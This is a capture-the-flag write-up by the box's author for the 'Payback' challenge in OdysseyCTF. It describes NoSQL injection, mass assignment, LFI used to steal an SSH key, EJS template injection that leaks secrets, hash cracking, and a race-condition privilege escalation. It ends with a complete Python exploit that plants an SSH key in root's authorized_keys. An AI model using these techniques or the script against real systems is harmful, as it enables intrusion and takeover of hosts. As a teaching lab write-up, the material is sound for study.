Home Payback - OdysseyCTF
Post
Cancel

Payback - OdysseyCTF

Payback is a hard-rated box created by me for the OdysseyCTF. It starts with exploiting a NoSQL injection vulnerability in a custom application to bypass registration restrictions, and then a mass assignment vulnerability to escalate to a higher privilege. This exposes an administrative function that’s vulnerable to LFI, which can be used to gain a shell on the box. Once inside, a hidden application running locally can be accessed using a tunnel and a credential recovered from the history file of MongoDB CLI tool. The app is vulnerable to SSTI, and can be exploited to access another local user. Priv-esc to root is by exploiting a race condition in a custom binary that uses libcurl to download files (this part was removed in the instance used for the competition).


Recon


Going to the web server homepage for this challenge;

Clicking the link made a request to an unknown host;

After adding this host to /etc/hosts file, the page loads successfully;

Attempt to create an account through the registration tab failed with the following error;

Checking the developer console showed an error with a new subdomain;

Adding the host exa-api.payback.local to my /etc/hosts file fixed the issue, and the account was created. However, I was prompted for an activation code, which I do not have;

Trying to guess the code didn’t work;

The route /user/activate/<username> is responsible for validating the code;

The response headers indicate this is an Express (NodeJS) application running behind an Nginx reverse-proxy. Playing around with the request, the implementation was found to be vulnerable to NoSQL Injection as the application seems to accept a JSON object as the value of activationCode, which appears to be passed directly to the underlying query. The MongoDB query {"$ne": 1}, which will evaluate to true when been matched with anything that is not 1, allowed me to pass the validation;

I was then able to login to the web app as the user guest;



Foothold


Playing around with the available courses didn’t yield anything interesting. WEB101 is password-protected, and I had no luck getting in. HIST101 is open though;

Along with my results for the test, the profile page also has a field for password reset;

The feature works, and the request was made to /user/profile;

Going through burp’s history, I noticed that this route also accepts a GET request that returns profile data of the user;

The admin parameter is very interesting. Since the route seems to be associated with general user profile data, and is also used to update user password, could it be used to update other profile parameters beside the ones featured in the UI? So I made a request that updates the admin parameter and sets it to true, and no error was returned;

A GET request to the route showed that the update succeeded, although the web UI was not updated in the browser;

So I logged out and then logged back in, and a new tab named “Admin” appeared;

The “Manage Courses” feature was interesting as I previously had no access to the “WEB101” course. However, there wasn’t any option to get or reset the course password;

I tried to export available results, but none was available. Trying the “Export Questions” option worked, and a download for a .json file was initiated. Nothing interesting was found inside the JSON file. However, the URL used for the download stood out;

This hints at a possible Local File Inclusion (LFI) vulnerability. After playing around with it, it seems the only security check the application is doing on requested files is making sure that their name starts with “exports/” prior to any path normalization. This makes it vulnerable to LFI via path traversal, and I was able to read local files;

Reading /etc/passwd showed that 2 local users exist: agent47 and exa. The user exa is likely the user we are working with as it matches the name of the web app. Since we know SSH is running on the host, I tried to read the user’s SSH key, which should be at /home/exa/.ssh/id_rsa, and it worked;

I saved this key as exa.key locally, and was able to login through SSH;



User


The user exa does not belong to any special groups, nor can we check for SUDO perms as we still don’t have their password. Exploring the home directory of the user, an interesting file .dbshell was found, which is what the MongoDB client uses as history file for the MongoDB CLI client;

Going through the file reveals a possible cred;

The password is not used by any of the local user accounts, so I kept it aside and continue to explore. As we noticed during recon, the web app was running behind an nginx reverse-proxy, and seems to be using virtual hosts. Checking the nginx config files at /etc/nginx/sites-enabled/, a new vhost was discovered in the file named payback;

Notice that the vhost was configured to be accessible only to clients in the local network, with the actual server listening locally on port 3000. With our SSH access as user exa, we can easily setup a tunnel to access this site;

The site is now accessible locally on my box through port 3000;

It seems to be a site for sharing quotes. Attempt to create an account failed;

Remembering the previous credential we discovered in the home of exa in .dbshell, I tried it in the login page, and was able to login using admin:c036c836be2aaea2cb7222fb72eeea3a;

We now have the option to add a quote. However, clicking “submit” says the feature is disabled;

The “preview” feature is still working though;

I started playing with the requests to see if this could be exploited. Like the Exa web app, this app is also powered by Express (NodeJS). However, this app doesn’t seems to be using a frontend library as the quote entered is submitted to the backend through a POST request to /api/quote/preview, and a GET request is then made to the same route, which returns a pre-rendered page containing the new quote. So I started testing for Server Side Template Injections (SSTI) in the quote preview feature, as it’s the only place I could inject input, and it payed off! The site is using EJS template engine;

I tried a few RCE payloads, but none worked due to lack of access to the require command, so I moved on. The file .env is popular with NodeJS applications, and it’s commonly used to store secrets like database credentials and API keys. This file is typically imported using the dotenv module, which parses and store it into the process.env object. Using the SSTI, I was able to read this object and obtain the backend database credential;

I was able to access the backend DB using the URL mongodb://qruser:2abe35c9146772663efba402620062a2@localhost/qrdb;

The users collection looks interesting, so I dumped it. Inside I found username and password hash of 2 users: admin (which we already have), and agent47 (which is the username of a local user account on the box);

The password hash looks to be MD5, so I copied it to a file and tried to crack it using John the Ripper. It worked! The creds are agent47:angle0164363985;

Testing this cred against the local user account of agent47, I was able to login;



PrivEsc


Apart from the source files of the QuotesRank web app, nothing of much interest was found in the home dir of agent47. Checking for SUDO showed that the user has sudo rights on what seems to be a custom binary;

So I copied this over to my box for analysis. The binary seems to be a simple utility for downloading files from a given URL. The program uses the CURL library (libcurl) for making web requests;

The IDA decompiler (shortcut: F5) did a very good job of reversing the binary. Going through the code, the program accepts 2 arguments as shown in the usage message: the first one being the URL, and the second one being the output file to write to. It then proceed to take the basename of the output file given using the basename() function provided in libgen.h (likely to prevent path traversal) and append it to the string /opt/downloads/. It then checks if the new path generated exists by trying to open it for read. If it succeed, it indicates the file exists, and the program exits with code 2;

This indicates the program does not want us to overwrite existing files during download. It then proceeds to create a custom buffer and calls http_get() with the URL and buffer as arguments. The http_get() function is what handles the actual file download. It uses CURL and writes the complete body of the HTTP response to the given buffer (with the aid of the function body_receiver());

Once the http_get() function finished the download, it returns, and the main() function writes the contents of the buffer to the output file;

Notice that the file is opened for writing only after the HTTP request has been completed, which takes time. Since the program does not perform another check to make sure the requested output file does not exist this time, this creates a race condition vulnerability.

An interesting way to exploit this vulnerability is using symbolic links, which are special files that point other files, acting like some sort of proxy. If we can get the program to write to a symlink that points to a critical file on the system, we may be able to write arbitrary data to any file on the system since we are running dloader as root. The major obstacle to this is that all downloads are saved to /opt/downlaods/. However, this directory is owned by root and belongs to the group devs, which is interesting because the user agent47 also belongs to that group;

Thanks to the group permission, we can now write to the /opt/downloads directory. After a couple of tests, I was able to develop a PoC that exploits the race condition to overwrite the SSH key of the root user;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python
#--------------------------------------------------------------------------------
#   An exploit for the race condition affecting `dloader` for the privesc part of
# Payback (Web) - OdysseyCTF (agent47 => root)
#   It exploits the race condition to add the public part of an SSH key to the 
# 'authorized_keys' file of the root user. 
# Killchain;
# 1. Creates a public and private SSH key pair.
# 2. Creates a simple socket server to serve the public key for download.
# 3. Once a request is received for the public key, it indicates the file check
# has already been performed, so the program exploits the race condition by crea-
# ing a dangling symbolic link to '/root/.ssh/authorized_keys'
# 4. The exploit then sends the public key contents, which the dloader executable
# writes to the symbolic link.
# 5. The program then uses the private key created earlier to authenticate.  
#                                                                 Author: 4g3nt47
#--------------------------------------------------------------------------------

import os, time, socket, random

# For generating random alpha-numeric strings.
def randstr(size):
  rstr = ""
  chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
  while size > 0:
    size -= 1
    rstr += chars[random.randint(0, len(chars) - 1)]
  return rstr

# Where the magic happens...
def exploit():
  password = "angle0164363985" # agent47's password required for using 'sudo'
  os.chdir("/dev/shm")         # A writable dir for writing temporary files.
  print("[*] Creating SSH keys...")
  os.system("ssh-keygen -N '' -f exploit.key") # Creates exploit.key and exlpoit.key.pub
  print("[*] Starting server...")
  s = socket.socket()
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  port = 4747
  s.bind(("127.0.0.1", port))
  s.listen(1)
  print("[+] Server started!")
  print("[*] Executing 'sudo /usr/bin/dloader'...")
  outfile = randstr(8)
  os.system("echo %s | sudo -S /usr/bin/dloader http://127.0.0.1:%d %s &" %(password, port, outfile))
  print("[*] Waiting for request...")
  conn, addr = s.accept()
  print("[+] Client connected: %s..." %(addr[0]))
  print("[*] Creating dangling symlink to '/root/.ssh/authorized_keys'...")
  os.system("ln -s /root/.ssh/authorized_keys /opt/downloads/%s" %(outfile))
  print("[*] Sending public key...")
  pubkey = open("exploit.key.pub", "rb").read()
  rsp = "HTTP/1.0 200 OK\r\nServer: SimpleHTTP/0.6 Python/3.7.3\r\nContent-type: text/plain; charset=utf-8\r\nContent-Length: %d\r\n\r\n" %(len(pubkey))
  rsp += pubkey
  conn.send(rsp)
  conn.close()
  time.sleep(1)
  print("[*] Attempting SSH login as root...")
  os.system("ssh -i exploit.key root@127.0.0.1")
  print("[*] Cleanup...")
  os.remove("exploit.key")
  os.remove("exploit.key.pub")
  os.remove("/opt/downloads/" + outfile)
  return

if __name__ == '__main__':
  exploit()

It worked, and I was able to login as root and get the flag :)



Summary


  • Challenge exposes port 20022 (OpenSSH) and 20080 (Nginx)
  • Nginx homepage links to exa.payback.local:20080;
    • Web app has a registration form, but an “activation code” is required to complete registration.
    • The code validation is vulnerable to NoSQL Injection, making it possible to bypass the check.
    • Profile page has password reset feature handled by /user/profile route.
    • The implementation is vulnerable to mass assignment vulnerability that allows privesc to site administrator.
    • Administrator has access to the “Export Questions” feature in course management page, which is vulnerable to LFI, and can be used to load the SSH key of a local user named exa at /home/exa/.ssh/id_rsa
  • Inside the box as exa;
    • A credential for a user named admin was found in .dbshell, which is the history file of MongoDB client.
    • /etc/nginx/sites-enabled/payback showed that another VHOST exists locally, with the hidden server listening on port 3000.
    • Setup an SSH tunnel to port 3000 for access from my box, and the credential found in .dbshell worked for the web application.
    • Quote preview feature is vulnerable to SSTI (EJS), which I exploited to leak process.env and obtain DB creds.
    • DB creds gave me access to the backend DB, and recovered a hash for a user account named agent47.
    • Hash was cracked successfully using rockyou.txt, and worked for the local user account of agent47.
  • Inside the box as agent47;
    • sudo -l showed SUDO perms to /usr/bin/dloader, which is a custom HTTP downloader.
    • dloader attempts to prevent us from writing to existing files, but it has a race condition vulnerability.
    • Exploited the program to overwrite the SSH key of the root user, which allowed me to login and get the flag at /root/flag.txt
This post is licensed under CC BY 4.0 by the author.